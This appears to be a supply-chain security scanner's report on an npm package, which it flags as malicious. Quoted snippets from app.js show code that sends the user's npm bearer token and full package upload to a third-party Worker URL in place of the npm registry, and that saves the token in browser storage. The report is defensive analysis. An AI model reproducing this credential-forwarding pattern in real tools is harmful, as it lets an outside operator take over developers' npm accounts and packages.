--- canonical: "https://firewall.lpm.dev/npm/@vbansal67/final-npm-uploader/v/1.0.0" markdown: "https://firewall.lpm.dev/npm/@vbansal67/final-npm-uploader/v/1.0.0.md" package: "@vbansal67/final-npm-uploader" report_status: "published" title: "@vbansal67/final-npm-uploader@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # @vbansal67/final-npm-uploader@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The Worker operator can obtain npm credentials and uploaded package contents, enabling account and package compromise. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. When the user clicks Publish, the browser sends their npm bearer token and selected package contents to a third-party Worker. The displayed publishing flow presents this as npm publishing, but browser mode selects the Worker endpoint. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-09-14T03:43:01.044Z - **Finished:** 2026-09-14T03:43:44.511Z - **Download time:** 755 ms - **Static scan time:** 14 ms - **AI review time:** 42698 ms - **Total time:** 43467 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** When the user clicks Publish, the browser sends their npm bearer token and selected package contents to a third-party Worker. The displayed publishing flow presents this as npm publishing, but browser mode selects the Worker endpoint. - **Trigger:** A user enters an npm token, selects a file, and clicks Publish. - **Impact:** The Worker operator can obtain npm credentials and uploaded package contents, enabling account and package compromise. - **Evidence paths:** app.js, index.html - **Review source:** ai\_review - **Reviewed:** 2026-09-14T03:43:44.511Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Credential and uploaded-file forwarding through a third-party proxy. - **Attack narrative:** The interface loads app.js and stores entered npm tokens locally. On Publish, it constructs attachments from the selected file. In ordinary browser mode it chooses a third-party Worker rather than the npm registry, then sends that payload with an Authorization bearer token. This gives the Worker both the credential and uploaded package data despite the UI framing the action as npm publishing. - **Rationale:** The code intentionally routes npm credentials and upload data to an unrelated Worker in its normal browser path. This is concrete credential and data exfiltration, not a package-aligned direct publish flow. - **Files touched:** app.js, index.html - **Network endpoints:** https://dawn-salad-6ee1.vihaanb0715.workers.dev, https://registry.npmjs.org ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Browser-mode publishing sends the package payload to a third-party Worker instead of npm., The request forwards the entered npm bearer token and the complete encoded upload to that Worker., The app persists the entered npm token in browser local storage., The HTML loads the publishing script in the package interface. - **Evidence against:** package.json has no install lifecycle hook., No child-process, native loading, or import-time package execution was found. ## Affected versions and remediation This report applies to @vbansal67/final-npm-uploader@1.0.0. - Avoid installing @vbansal67/final-npm-uploader@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 4. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** index.html - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```html stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1 ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() Browser-mode publishing sends the package payload to a third-party Worker instead of npm. Public source snippet (untrusted): ```javascript const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${packageName.replace('/', '%2F')}` : cleanWorkerUrl; ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() The request forwards the entered npm bearer token and the complete encoded upload to that Worker. Public source snippet (untrusted): ```javascript _attachments: attachments }; const headers = { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }; if (!isNativeApp) { headers['X-NPM-Package-Name'] = packageName; } const response = await fetch(finalEndpoint, { method: 'PUT', headers: headers, body: JSON.stringify(payload) ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() The app persists the entered npm token in browser local storage. Public source snippet (untrusted): ```javascript if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.html - **Public source:** [View source]() The HTML loads the publishing script in the package interface. Public source snippet (untrusted): ```text
``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @vbansal67/final-npm-uploader - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-11T21:48:53.407Z - **Package first seen:** 2026-09-14T03:43:44.511Z - **Package last seen:** 2026-09-30T20:37:07.509Z - **Known versions:** 4 - **Latest version:** 0.0.1-security.1 - **Appeal under review:** No - **Description:** Web - **Artifact files:** 3 - **Artifact unpacked size:** 9,707 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()